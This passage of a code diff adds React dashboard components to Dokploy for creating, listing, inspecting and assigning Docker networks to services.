+								<PopoverTrigger asChild>
+									<Button
+										type="button"
+										variant="outline"
+										aria-expanded={open}
+										className="w-full justify-between"
+									>
+										<span className="text-muted-foreground">
+											{selectedNetworks.length > 0
+												? `${selectedNetworks.length} network${
+														selectedNetworks.length > 1 ? "s" : ""
+													} selected`
+												: "Select networks..."}
+										</span>
+										<ChevronsUpDown className="ml-2 size-4 shrink-0 opacity-50" />
+									</Button>
+								</PopoverTrigger>
+								<PopoverContent
+									className="w-[var(--radix-popover-trigger-width)] p-0"
+									align="start"
+								>
+									<Command>
+										<CommandInput
+											placeholder="Search networks..."
+											className="h-9"
+										/>
+										<CommandList className="max-h-60">
+											{availableNetworks.length === 0 ? (
+												<div className="py-6 text-center text-sm text-muted-foreground">
+													No networks available on this server.
+												</div>
+											) : (
+												<CommandGroup>
+													{availableNetworks.map((n) => {
+														const isSelected = field.value.includes(
+															n.networkId,
+														);
+														return (
+															<CommandItem
+																key={n.networkId}
+																value={n.name}
+																onSelect={() => toggle(n.networkId)}
+																className="cursor-pointer"
+															>
+																<Checkbox
+																	checked={isSelected}
+																	className="mr-2"
+																	onCheckedChange={() => toggle(n.networkId)}
+																/>
+																<span>{n.name}</span>
+																<Badge variant="outline" className="ml-2">
+																	{n.driver}
+																</Badge>
+																<Check
+																	className={cn(
+																		"ml-auto size-4",
+																		isSelected ? "opacity-100" : "opacity-0",
+																	)}
+																/>
+															</CommandItem>
+														);
+													})}
+												</CommandGroup>
+											)}
+										</CommandList>
+									</Command>
+								</PopoverContent>
+							</Popover>
+
+							{selectedNetworks.length > 0 && (
+								<div className="flex flex-wrap gap-1.5">
+									{selectedNetworks.map((n) => (
+										<Badge key={n.networkId} variant="secondary">
+											{n.name}
+										</Badge>
+									))}
+								</div>
+							)}
+						</FormItem>
+					);
+				}}
+			/>
+		</div>
+	);
+};

apps/dokploy/components/dashboard/networks/assign-networks.tsx

@@ -0,0 +1,355 @@
+import { Check, ChevronsUpDown, X } from "lucide-react";
+import { useEffect, useState } from "react";
+import { toast } from "sonner";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Card,
+	CardContent,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import { Checkbox } from "@/components/ui/checkbox";
+import {
+	Command,
+	CommandEmpty,
+	CommandGroup,
+	CommandInput,
+	CommandItem,
+	CommandList,
+} from "@/components/ui/command";
+import {
+	Popover,
+	PopoverContent,
+	PopoverTrigger,
+} from "@/components/ui/popover";
+import { Switch } from "@/components/ui/switch";
+import { cn } from "@/lib/utils";
+import { api } from "@/utils/api";
+
+type ServiceType =
+	| "application"
+	| "postgres"
+	| "mysql"
+	| "mariadb"
+	| "mongo"
+	| "redis"
+	| "libsql";
+
+interface Props {
+	id: string;
+	type: ServiceType;
+}
+
+export const AssignNetworks = ({ id, type }: Props) => {
+	const [open, setOpen] = useState(false);
+	const [selected, setSelected] = useState<string[]>([]);
+	const [detached, setDetached] = useState(false);
+
+	const {
+		service,
+		serverId,
+		networkIds,
+		detachDokployNetwork,
+		updateAsync,
+		isUpdating,
+		refetch,
+	} = useServiceNetworks(id, type);
+
+	const { data: networks } = api.network.all.useQuery(
+		{ serverId: serverId ?? undefined },
+		{ enabled: service !== undefined },
+	);
+
+	const { data: applicationDomains } = api.domain.byApplicationId.useQuery(
+		{ applicationId: id },
+		{ enabled: type === "application" },
+	);
+	const hasDomains = (applicationDomains?.length ?? 0) > 0;
+
+	useEffect(() => {
+		setSelected(networkIds ?? []);
+		setDetached(detachDokployNetwork ?? false);
+	}, [networkIds, detachDokployNetwork]);
+
+	const availableNetworks = (networks ?? []).filter(
+		(n) => n.driver === "overlay",
+	);
+	const selectedNetworks = availableNetworks.filter((n) =>
+		selected.includes(n.networkId),
+	);
+	const isDirty =
+		selected.length !== (networkIds?.length ?? 0) ||
+		selected.some((networkId) => !networkIds?.includes(networkId)) ||
+		detached !== detachDokployNetwork;
+
+	const toggle = (networkId: string) => {
+		setSelected((prev) =>
+			prev.includes(networkId)
+				? prev.filter((id) => id !== networkId)
+				: [...prev, networkId],
+		);
+	};
+
+	const onSave = async () => {
+		try {
+			await updateAsync({
+				networkIds: selected,
+				detachDokployNetwork: detached,
+			});
+			toast.success("Networks updated. Redeploy the service to apply them.");
+			await refetch();
+		} catch (error) {
+			toast.error("Error updating networks", {
+				description: error instanceof Error ? error.message : "Unknown error",
+			});
+		}
+	};
+
+	return (
+		<Card className="bg-background">
+			<CardHeader className="flex flex-row items-center justify-between flex-wrap gap-2">
+				<div className="flex flex-col gap-1">
+					<CardTitle className="text-xl">Networks</CardTitle>
+					<CardDescription>
+						Attach additional Docker networks to this service so it can reach
+						services on those networks. Takes effect on the next deploy.
+					</CardDescription>
+				</div>
+			</CardHeader>
+			<CardContent className="flex flex-col gap-4">
+				<div className="flex flex-row items-start justify-between gap-3 rounded-lg border p-4">
+					<div className="space-y-1 pr-1">
+						<div className="flex items-center gap-2">
+							<span className="text-sm font-medium">
+								Detach from dokploy-network
+							</span>
+							<Badge variant="secondary">dokploy-network</Badge>
+						</div>
+						<p className="text-sm text-muted-foreground">
+							By default the service joins the shared dokploy-network. Detach it
+							to keep it reachable only through the networks you attach below.
+						</p>
+					</div>
+					<Switch checked={detached} onCheckedChange={setDetached} />
+				</div>
+
+				{detached && hasDomains && (
+					<AlertBlock type="warning">
+						Warning: this service has domains. Detaching it from dokploy-network
+						will break Traefik routing, and its domains will stop working.
+					</AlertBlock>
+				)}
+
+				{detached && !hasDomains && selected.length === 0 && (
+					<AlertBlock type="warning">
+						This service is detached from dokploy-network but has no other
+						network attached. It would be unreachable, so dokploy-network will
+						be kept until you attach a network below.
+					</AlertBlock>
+				)}
+
+				<Popover open={open} onOpenChange={setOpen}>
+					<PopoverTrigger asChild>
+						<Button
+							variant="outline"
+							aria-expanded={open}
+							className="w-full justify-between"
+						>
+							<span className="text-muted-foreground">
+								{selectedNetworks.length > 0
+									? `${selectedNetworks.length} network${
+											selectedNetworks.length > 1 ? "s" : ""
+										} selected`
+									: "Select networks..."}
+							</span>
+							<ChevronsUpDown className="ml-2 size-4 shrink-0 opacity-50" />
+						</Button>
+					</PopoverTrigger>
+					<PopoverContent
+						className="w-[var(--radix-popover-trigger-width)] p-0"
+						align="start"
+					>
+						<Command>
+							<CommandInput placeholder="Search networks..." className="h-9" />
+							<CommandList className="max-h-60">
+								{availableNetworks.length === 0 ? (
+									<div className="py-6 text-center text-sm text-muted-foreground">
+										No overlay networks on this server.
+									</div>
+								) : (
+									<>
+										<CommandEmpty className="py-6 text-center text-sm text-muted-foreground">
+											No networks found.
+										</CommandEmpty>
+										<CommandGroup>
+											{availableNetworks.map((n) => {
+												const isSelected = selected.includes(n.networkId);
+												return (
+													<CommandItem
+														key={n.networkId}
+														value={n.name}
+														onSelect={() => toggle(n.networkId)}
+														className="cursor-pointer"
+													>
+														<Checkbox
+															checked={isSelected}
+															className="mr-2"
+															onCheckedChange={() => toggle(n.networkId)}
+														/>
+														<span>{n.name}</span>
+														<Badge variant="outline" className="ml-2">
+															{n.driver}
+														</Badge>
+														<Check
+															className={cn(
+																"ml-auto size-4",
+																isSelected ? "opacity-100" : "opacity-0",
+															)}
+														/>
+													</CommandItem>
+												);
+											})}
+										</CommandGroup>
+									</>
+								)}
+							</CommandList>
+						</Command>
+					</PopoverContent>
+				</Popover>
+
+				{selectedNetworks.length > 0 && (
+					<div className="flex flex-wrap gap-1.5">
+						{selectedNetworks.map((n) => (
+							<Badge
+								key={n.networkId}
+								variant="secondary"
+								className="flex items-center gap-1 pr-1"
+							>
+								{n.name}
+								<button
+									type="button"
+									onClick={() => toggle(n.networkId)}
+									className="ml-0.5 rounded-full outline-hidden hover:opacity-70"
+								>
+									<X className="size-3" />
+									<span className="sr-only">Remove {n.name}</span>
+								</button>
+							</Badge>
+						))}
+					</div>
+				)}
+
+				<div className="flex justify-end">
+					<Button disabled={!isDirty} isLoading={isUpdating} onClick={onSave}>
+						Save
+					</Button>
+				</div>
+			</CardContent>
+		</Card>
+	);
+};
+
+// Maps a service type to its one-query and update-mutation, normalizing the
+// per-type id field name and the networkIds field.
+const useServiceNetworks = (id: string, type: ServiceType) => {
+	const application = api.application.one.useQuery(
+		{ applicationId: id },
+		{ enabled: type === "application" },
+	);
+	const postgres = api.postgres.one.useQuery(
+		{ postgresId: id },
+		{ enabled: type === "postgres" },
+	);
+	const mysql = api.mysql.one.useQuery(
+		{ mysqlId: id },
+		{ enabled: type === "mysql" },
+	);
+	const mariadb = api.mariadb.one.useQuery(
+		{ mariadbId: id },
+		{ enabled: type === "mariadb" },
+	);
+	const mongo = api.mongo.one.useQuery(
+		{ mongoId: id },
+		{ enabled: type === "mongo" },
+	);
+	const redis = api.redis.one.useQuery(
+		{ redisId: id },
+		{ enabled: type === "redis" },
+	);
+	const libsql = api.libsql.one.useQuery(
+		{ libsqlId: id },
+		{ enabled: type === "libsql" },
+	);
+	const applicationUpdate = api.application.update.useMutation();
+	const postgresUpdate = api.postgres.update.useMutation();
+	const mysqlUpdate = api.mysql.update.useMutation();
+	const mariadbUpdate = api.mariadb.update.useMutation();
+	const mongoUpdate = api.mongo.update.useMutation();
+	const redisUpdate = api.redis.update.useMutation();
+	const libsqlUpdate = api.libsql.update.useMutation();
+
+	const map = {
+		application: {
+			query: application,
+			mutation: applicationUpdate,
+			save: (payload: SavePayload) =>
+				applicationUpdate.mutateAsync({ applicationId: id, ...payload }),
+		},
+		postgres: {
+			query: postgres,
+			mutation: postgresUpdate,
+			save: (payload: SavePayload) =>
+				postgresUpdate.mutateAsync({ postgresId: id, ...payload }),
+		},
+		mysql: {
+			query: mysql,
+			mutation: mysqlUpdate,
+			save: (payload: SavePayload) =>
+				mysqlUpdate.mutateAsync({ mysqlId: id, ...payload }),
+		},
+		mariadb: {
+			query: mariadb,
+			mutation: mariadbUpdate,
+			save: (payload: SavePayload) =>
+				mariadbUpdate.mutateAsync({ mariadbId: id, ...payload }),
+		},
+		mongo: {
+			query: mongo,
+			mutation: mongoUpdate,
+			save: (payload: SavePayload) =>
+				mongoUpdate.mutateAsync({ mongoId: id, ...payload }),
+		},
+		redis: {
+			query: redis,
+			mutation: redisUpdate,
+			save: (payload: SavePayload) =>
+				redisUpdate.mutateAsync({ redisId: id, ...payload }),
+		},
+		libsql: {
+			query: libsql,
+			mutation: libsqlUpdate,
+			save: (payload: SavePayload) =>
+				libsqlUpdate.mutateAsync({ libsqlId: id, ...payload }),
+		},
+	}[type];
+
+	const service = map.query.data;
+
+	return {
+		service,
+		serverId: service?.serverId ?? null,
+		networkIds: service?.networkIds ?? [],
+		detachDokployNetwork: service?.detachDokployNetwork ?? false,
+		updateAsync: map.save,
+		isUpdating: map.mutation.isPending,
+		refetch: map.query.refetch,
+	};
+};
+
+type SavePayload = {
+	networkIds: string[];
+	detachDokployNetwork: boolean;
+};

apps/dokploy/components/dashboard/networks/handle-network.tsx

@@ -0,0 +1,404 @@
+"use client";
+
+import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
+import { Network, Plus, Trash2 } from "lucide-react";
+import { useState } from "react";
+import { useFieldArray, useForm } from "react-hook-form";
+import { toast } from "sonner";
+import { z } from "zod";
+import { Button } from "@/components/ui/button";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogFooter,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import {
+	Form,
+	FormControl,
+	FormDescription,
+	FormField,
+	FormItem,
+	FormLabel,
+	FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import { Switch } from "@/components/ui/switch";
+import { api } from "@/utils/api";
+
+// Only bridge and overlay can be created: "host"/"none" are Docker
+// singletons and macvlan/ipvlan need driver options we don't expose.
+const networkDriverEnum = ["bridge", "overlay"] as const;
+
+const ipamConfigEntrySchema = z.object({
+	subnet: z.string().optional(),
+	ipRange: z.string().optional(),
+	gateway: z.string().optional(),
+});
+
+const networkFormSchema = z
+	.object({
+		name: z.string().min(1, "Name is required"),
+		driver: z.enum(networkDriverEnum),
+		internal: z.boolean(),
+		attachable: z.boolean(),
+		enableIPv4: z.boolean(),
+		enableIPv6: z.boolean(),
+		mtu: z
+			.string()
+			.refine(
+				(value) =>
+					value === "" ||
+					(/^\d+$/.test(value) && +value >= 68 && +value <= 65535),
+				{ message: "MTU must be a number between 68 and 65535" },
+			),
+		ipamDriver: z.string().optional(),
+		ipamConfig: z.array(ipamConfigEntrySchema),
+	})
+	.superRefine((input, ctx) => {
+		if (!input.enableIPv4 && !input.enableIPv6) {
+			ctx.addIssue({
+				code: z.ZodIssueCode.custom,
+				path: ["enableIPv4"],
+				message: "IPv4 or IPv6 must be enabled",
+			});
+		}
+		for (const [index, entry] of input.ipamConfig.entries()) {
+			if (!entry.subnet && (entry.gateway || entry.ipRange)) {
+				ctx.addIssue({
+					code: z.ZodIssueCode.custom,
+					path: ["ipamConfig", index, "subnet"],
+					message: "Gateway and IP range require a subnet",
+				});
+			}
+		}
+	});
+
+type NetworkFormValues = z.infer<typeof networkFormSchema>;
+
+const defaultValues: NetworkFormValues = {
+	name: "",
+	driver: "bridge",
+	internal: false,
+	attachable: false,
+	enableIPv4: true,
+	enableIPv6: false,
+	mtu: "",
+	ipamDriver: "",
+	ipamConfig: [],
+};
+
+const toggleOptions = [
+	{
+		name: "internal",
+		label: "Internal",
+		description: "Containers on this network cannot reach external networks.",
+	},
+	{
+		name: "attachable",
+		label: "Attachable",
+		description:
+			"Allow standalone containers to attach (overlay networks only).",
+	},
+	{
+		name: "enableIPv4",
+		label: "Enable IPv4",
+		description: "Enable IPv4 addressing on the network.",
+	},
+	{
+		name: "enableIPv6",
+		label: "Enable IPv6",
+		description: "Enable IPv6 addressing on the network.",
+	},
+] as const;
+
+interface HandleNetworkProps {
+	/** Target server; undefined creates on the local Dokploy server */
+	serverId?: string;
+	children?: React.ReactNode;
+}
+
+// Docker networks are immutable, so this dialog only creates them;
+// changing a network means deleting and recreating it.
+export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
+	const [isOpen, setIsOpen] = useState(false);
+	const utils = api.useUtils();
+
+	const { mutateAsync, isPending } = api.network.create.useMutation();
+
+	const form = useForm<NetworkFormValues>({
+		resolver: zodResolver(networkFormSchema),
+		defaultValues,
+	});
+
+	const ipamConfigFieldArray = useFieldArray({
+		control: form.control,
+		name: "ipamConfig",
+	});
+
+	const onSubmit = async (data: NetworkFormValues) => {
+		try {
+			await mutateAsync({
+				name: data.name,
+				driver: data.driver,
+				serverId,
+				internal: data.internal,
+				attachable: data.attachable,
+				enableIPv4: data.enableIPv4,
+				enableIPv6: data.enableIPv6,
+				mtu: data.mtu ? Number(data.mtu) : undefined,
+				ipam: {
+					driver: data.ipamDriver || undefined,
+					config: data.ipamConfig,
+				},
+			});
+
+			toast.success("Network created");
+			await utils.network.all.invalidate();
+			setIsOpen(false);
+			form.reset(defaultValues);
+		} catch (error) {
+			toast.error("Error creating network", {
+				description: error instanceof Error ? error.message : "Unknown error",
+			});
+		}
+	};
+
+	const trigger = children ?? (
+		<Button>
+			<Plus className=" size-4" />
+			Add network
+		</Button>
+	);
+
+	return (
+		<Dialog open={isOpen} onOpenChange={setIsOpen}>
+			<DialogTrigger asChild>{trigger}</DialogTrigger>
+			<DialogContent className="sm:max-w-2xl max-h-[90vh] overflow-y-auto">
+				<DialogHeader>
+					<DialogTitle className="flex items-center gap-2">
+						<Network className="size-5 text-muted-foreground" />
+						Add network
+					</DialogTitle>
+					<DialogDescription>
+						Create a new Docker network for your organization. Networks are
+						immutable: to change one, delete it and create it again.
+					</DialogDescription>
+				</DialogHeader>
+				<Form {...form}>
+					<form
+						onSubmit={form.handleSubmit(onSubmit)}
+						className="flex w-full flex-col gap-6"
+					>
+						<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
+							<FormField
+								control={form.control}
+								name="name"
+								render={({ field }) => (
+									<FormItem>
+										<FormLabel>Name</FormLabel>
+										<FormControl>
+											<Input placeholder="my-network" {...field} />
+										</FormControl>
+										<FormMessage />
+									</FormItem>
+								)}
+							/>
+							<FormField
+								control={form.control}
+								name="driver"
+								render={({ field }) => (
+									<FormItem>
+										<FormLabel>Driver</FormLabel>
+										<Select onValueChange={field.onChange} value={field.value}>
+											<FormControl>
+												<SelectTrigger>
+													<SelectValue placeholder="Select driver" />
+												</SelectTrigger>
+											</FormControl>
+											<SelectContent>
+												{networkDriverEnum.map((d) => (
+													<SelectItem key={d} value={d}>
+														{d}
+													</SelectItem>
+												))}
+											</SelectContent>
+										</Select>
+										<FormDescription className="text-muted-foreground">
+											bridge for single-server containers; overlay for Swarm
+											services.
+										</FormDescription>
+										<FormMessage />
+									</FormItem>
+								)}
+							/>
+							<FormField
+								control={form.control}
+								name="mtu"
+								render={({ field }) => (
+									<FormItem>
+										<FormLabel>MTU (optional)</FormLabel>
+										<FormControl>
+											<Input
+												placeholder="1500"
+												inputMode="numeric"
+												{...field}
+											/>
+										</FormControl>
+										<FormDescription className="text-muted-foreground">
+											Maximum transmission unit. Leave empty to use Docker's
+											default.
+										</FormDescription>
+										<FormMessage />
+									</FormItem>
+								)}
+							/>
+						</div>
+						<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
+							{toggleOptions.map((option) => (
+								<FormField
+									key={option.name}
+									control={form.control}
+									name={option.name}
+									render={({ field }) => (
+										<FormItem className="flex flex-row items-start justify-between gap-3 space-y-0 rounded-lg border p-4">
+											<div className="space-y-1 pr-1">
+												<FormLabel>{option.label}</FormLabel>
+												<FormDescription className="text-muted-foreground">
+													{option.description}
+												</FormDescription>
+											</div>
+											<FormControl>
+												<Switch
+													checked={field.value}
+													onCheckedChange={field.onChange}
+												/>
+											</FormControl>
+										</FormItem>
+									)}
+								/>
+							))}
+						</div>
+						<div className="space-y-4 rounded-lg border p-4">
+							<div className="space-y-1">
+								<FormLabel>IPAM</FormLabel>
+								<p className="text-sm text-muted-foreground">
+									IP address management settings for this network.
+								</p>
+							</div>
+							<FormField
+								control={form.control}
+								name="ipamDriver"
+								render={({ field }) => (
+									<FormItem>
+										<FormLabel className="text-muted-foreground">
+											Driver (optional)
+										</FormLabel>
+										<FormControl>
+											<Input {...field} placeholder="default" />
+										</FormControl>
+										<FormMessage />
+									</FormItem>
+								)}
+							/>
+							<div className="space-y-2">
+								<FormLabel className="text-muted-foreground">
+									Config (subnet / gateway / IP range)
+								</FormLabel>
+								{ipamConfigFieldArray.fields.map((field, index) => (
+									<div key={field.id} className="flex flex-wrap gap-2">
+										<FormField
+											control={form.control}
+											name={`ipamConfig.${index}.subnet`}
+											render={({ field: f }) => (
+												<FormItem className="min-w-[140px] flex-1">
+													<FormControl>
+														<Input
+															{...f}
+															placeholder="Subnet (e.g. 172.20.0.0/16)"
+														/>
+													</FormControl>
+													<FormMessage />
+												</FormItem>
+											)}
+										/>
+										<FormField
+											control={form.control}
+											name={`ipamConfig.${index}.ipRange`}
+											render={({ field: f }) => (
+												<FormItem className="min-w-[120px] flex-1">
+													<FormControl>
+														<Input {...f} placeholder="IP range" />
+													</FormControl>
+													<FormMessage />
+												</FormItem>
+											)}
+										/>
+										<FormField
+											control={form.control}
+											name={`ipamConfig.${index}.gateway`}
+											render={({ field: f }) => (
+												<FormItem className="min-w-[120px] flex-1">
+													<FormControl>
+														<Input {...f} placeholder="Gateway" />
+													</FormControl>
+													<FormMessage />
+												</FormItem>
+											)}
+										/>
+										<Button
+											type="button"
+											variant="outline"
+											size="icon"
+											aria-label="Remove IPAM config"
+											onClick={() => ipamConfigFieldArray.remove(index)}
+										>
+											<Trash2 className="size-4" />
+										</Button>
+									</div>
+								))}
+								<Button
+									type="button"
+									variant="outline"
+									size="sm"
+									onClick={() =>
+										ipamConfigFieldArray.append({
+											subnet: "",
+											ipRange: "",
+											gateway: "",
+										})
+									}
+								>
+									<Plus className="size-4" />
+									Add IPAM config
+								</Button>
+							</div>
+						</div>
+						<DialogFooter>
+							<Button
+								type="button"
+								variant="outline"
+								onClick={() => setIsOpen(false)}
+							>
+								Cancel
+							</Button>
+							<Button type="submit" isLoading={isPending}>
+								Create network
+							</Button>
+						</DialogFooter>
+					</form>
+				</Form>
+			</DialogContent>
+		</Dialog>
+	);
+};

apps/dokploy/components/dashboard/networks/show-network-config.tsx

@@ -0,0 +1,69 @@
+"use client";
+
+import { Eye, Loader2 } from "lucide-react";
+import { useState } from "react";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { CodeEditor } from "@/components/shared/code-editor";
+import { Button } from "@/components/ui/button";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import { api } from "@/utils/api";
+
+interface Props {
+	networkId: string;
+	networkName: string;
+}
+
+export const ShowNetworkConfig = ({ networkId, networkName }: Props) => {
+	const [open, setOpen] = useState(false);
+	const { data, isLoading, error } = api.network.inspect.useQuery(
+		{ networkId },
+		{ enabled: open },
+	);
+
+	return (
+		<Dialog open={open} onOpenChange={setOpen}>
+			<DialogTrigger asChild>
+				<Button variant="ghost" size="icon-sm" aria-label="View network config">
+					<Eye className="size-4" />
+				</Button>
+			</DialogTrigger>
+			<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
+				<DialogHeader>
+					<DialogTitle>Network Config</DialogTitle>
+					<DialogDescription>
+						docker network inspect output for "{networkName}"
+					</DialogDescription>
+				</DialogHeader>
+				{error ? (
+					<AlertBlock type="error">{error.message}</AlertBlock>
+				) : isLoading ? (
+					<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
+						<span>Loading...</span>
+						<Loader2 className="animate-spin size-4" />
+					</div>
+				) : (
+					<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
+						<code>
+							<pre className="whitespace-pre-wrap wrap-break-word">
+								<CodeEditor
+									language="json"
+									lineWrapping
+									lineNumbers={false}
+									readOnly
+									value={JSON.stringify(data, null, 2)}
+								/>
+							</pre>
+						</code>
+					</div>
+				)}
+			</DialogContent>
+		</Dialog>
+	);
+};

apps/dokploy/components/dashboard/networks/show-networks.tsx

@@ -0,0 +1,494 @@
+"use client";
+
+import {
+	type ColumnDef,
+	flexRender,
+	getCoreRowModel,
+	getPaginationRowModel,
+	getSortedRowModel,
+	type PaginationState,
+	type SortingState,
+	useReactTable,
+} from "@tanstack/react-table";
+import type { inferRouterOutputs } from "@trpc/server";
+import {
+	ArrowUpDown,
+	Loader2,
+	Network,
+	RotateCcw,
+	ShieldCheck,
+	Trash2,
+} from "lucide-react";
+import { useMemo, useState } from "react";
+import { toast } from "sonner";
+import { HandleNetwork } from "@/components/dashboard/networks/handle-network";
+import { ShowNetworkConfig } from "@/components/dashboard/networks/show-network-config";
+import { SyncNetworks } from "@/components/dashboard/networks/sync-networks";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Card,
+	CardAction,
+	CardContent,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import { Input } from "@/components/ui/input";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import {
+	Table,
+	TableBody,
+	TableCell,
+	TableHead,
+	TableHeader,
+	TableRow,
+} from "@/components/ui/table";
+import type { AppRouter } from "@/server/api/root";
+import { api } from "@/utils/api";
+
+type NetworkRow = inferRouterOutputs<AppRouter>["network"]["all"][number];
+
+interface Props {
+	/** Selected server; undefined shows the local Dokploy server */
+	serverId?: string;
+}
+
+const getIpamEntries = (row: NetworkRow) =>
+	(row.ipam?.config ?? []).filter((c) => c.subnet || c.gateway || c.ipRange);
+
+const SortableHeader = ({
+	column,
+	title,
+}: {
+	column: {
+		getIsSorted: () => false | "asc" | "desc";
+		toggleSorting: (asc: boolean) => void;
+	};
+	title: string;
+}) => (
+	<Button
+		variant="ghost"
+		className="-ml-3 h-8"
+		onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
+	>
+		{title}
+		<ArrowUpDown className="ml-2 size-4" />
+	</Button>
+);
+
+export const ShowNetworks = ({ serverId }: Props) => {
+	const utils = api.useUtils();
+	const [verified, setVerified] = useState(false);
+	const [sorting, setSorting] = useState<SortingState>([
+		{ id: "createdAt", desc: true },
+	]);
+	const [globalFilter, setGlobalFilter] = useState("");
+	const [driverFilter, setDriverFilter] = useState<string>("all");
+	const [pagination, setPagination] = useState<PaginationState>({
+		pageIndex: 0,
+		pageSize: 10,
+	});
+
+	const { data: networks, isLoading } = api.network.all.useQuery({ serverId });
+	const { mutateAsync: removeNetwork } = api.network.remove.useMutation();
+	const recreateMutation = api.network.recreate.useMutation();
+
+	// Same query the Sync dialog uses; "missing" tells us which records
+	// no longer have a real network in Docker
+	const {
+		data: syncStatus,
+		isFetching: isVerifying,
+		refetch: refetchVerify,
+	} = api.network.networksToSync.useQuery({ serverId }, { enabled: verified });
+
+	const missingIds = useMemo(
+		() => new Set(syncStatus?.missing.map((m) => m.networkId) ?? []),
+		[syncStatus],
+	);
+
+	const onVerify = async () => {
+		setVerified(true);
+		const { data: result, error } = await refetchVerify();
+		if (error) {
+			toast.error("Error verifying networks", {
+				description: error.message,
+			});
+			return;
+		}
+		if (!result) return;
+		if (result.missing.length === 0) {
+			toast.success("All networks exist in Docker");
+		} else {
+			toast.warning(
+				`${result.missing.length} network(s) no longer exist in Docker`,
+			);
+		}
+	};
+
+	const filteredData = useMemo(() => {
+		let list = networks ?? [];
+		if (driverFilter !== "all") {
+			list = list.filter((n) => n.driver === driverFilter);
+		}
+		if (globalFilter.trim()) {
+			const query = globalFilter.toLowerCase();
+			list = list.filter(
+				(n) =>
+					n.name.toLowerCase().includes(query) ||
+					(n.ipam?.config ?? []).some(
+						(c) =>
+							c.subnet?.toLowerCase().includes(query) ||
+							c.gateway?.toLowerCase().includes(query) ||
+							c.ipRange?.toLowerCase().includes(query),
+					),
+			);
+		}
+		return list;
+	}, [networks, driverFilter, globalFilter]);
+
+	const columns = useMemo<ColumnDef<NetworkRow>[]>(
+		() => [
+			{
+				accessorKey: "name",
+				header: ({ column }) => <SortableHeader column={column} title="Name" />,
+				cell: ({ row }) => (
+					<div className="flex items-center gap-2 font-medium">
+						{row.original.name}
+						{verified &&
+							syncStatus &&
+							(missingIds.has(row.original.networkId) ? (
+								<>
+									<Badge variant="red">Missing in Docker</Badge>
+									<Button
+										variant="outline"
+										size="xs"
+										isLoading={recreateMutation.isPending}
+										onClick={async () => {
+											try {
+												await recreateMutation.mutateAsync({
+													networkId: row.original.networkId,
+												});
+												toast.success(
+													`Network "${row.original.name}" recreated in Docker`,
+												);
+												await utils.network.networksToSync.invalidate();
+											} catch (error) {
+												toast.error("Error recreating network", {
+													description:
+														error instanceof Error
+															? error.message
+															: "Unknown error",
+												});
+											}
+										}}
+									>
+										<RotateCcw className="size-3.5" />
+										Recreate
+									</Button>
+								</>
+							) : (
+								<Badge variant="green">In sync</Badge>
+							))}
+					</div>
+				),
+			},
+			{
+				accessorKey: "driver",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Driver" />
+				),
+				cell: ({ row }) => (
+					<div className="flex items-center gap-2">
+						<Badge variant="outline">{row.original.driver}</Badge>
+						<span className="text-xs text-muted-foreground">
+							{row.original.driver === "overlay" ? "swarm" : "local"}
+						</span>
+					</div>
+				),
+			},
+			{
+				id: "subnet",
+				accessorFn: (row) => getIpamEntries(row)[0]?.subnet ?? "",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Subnet" />
+				),
+				cell: ({ row }) => {
+					const ipamEntries = getIpamEntries(row.original);
+					if (ipamEntries.length === 0) {
+						return <span className="text-muted-foreground">Auto</span>;
+					}
+					return (
+						<div className="flex flex-col gap-1">
+							{ipamEntries.map((c, index) => (
+								<div
+									key={`${row.original.networkId}-ipam-${index}`}
+									className="flex flex-col"
+								>
+									<span>{c.subnet ?? "—"}</span>
+									{(c.gateway || c.ipRange) && (
+										<span className="text-xs text-muted-foreground">
+											{[
+												c.gateway && `gw ${c.gateway}`,
+												c.ipRange && `range ${c.ipRange}`,
+											]
+												.filter(Boolean)
+												.join(" · ")}
+										</span>
+									)}
+								</div>
+							))}
+						</div>
+					);
+				},
+			},
+			{
+				accessorKey: "internal",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Internal" />
+				),
+				cell: ({ row }) => (
+					<span className="text-muted-foreground">
+						{row.original.internal ? "Yes" : "No"}
+					</span>
+				),
+			},
+			{
+				accessorKey: "attachable",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Attachable" />
+				),
+				cell: ({ row }) => (
+					<span className="text-muted-foreground">
+						{row.original.attachable ? "Yes" : "No"}
+					</span>
+				),
+			},
+			{
+				accessorKey: "createdAt",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Created" />
+				),
+				cell: ({ row }) => (
+					<span className="text-muted-foreground whitespace-nowrap">
+						{new Date(row.original.createdAt).toLocaleDateString()}
+					</span>
+				),
+			},
+			{
+				id: "actions",
+				enableSorting: false,
+				header: () => <div className="text-right">Actions</div>,
+				cell: ({ row }) => (
+					<div className="flex items-center justify-end gap-3">
+						<ShowNetworkConfig
+							networkId={row.original.networkId}
+							networkName={row.original.name}
+						/>
+						<DialogAction
+							title="Delete network"
+							description={`The network "${row.original.name}" will be removed from Docker and Dokploy. This action cannot be undone.`}
+							onClick={async () => {
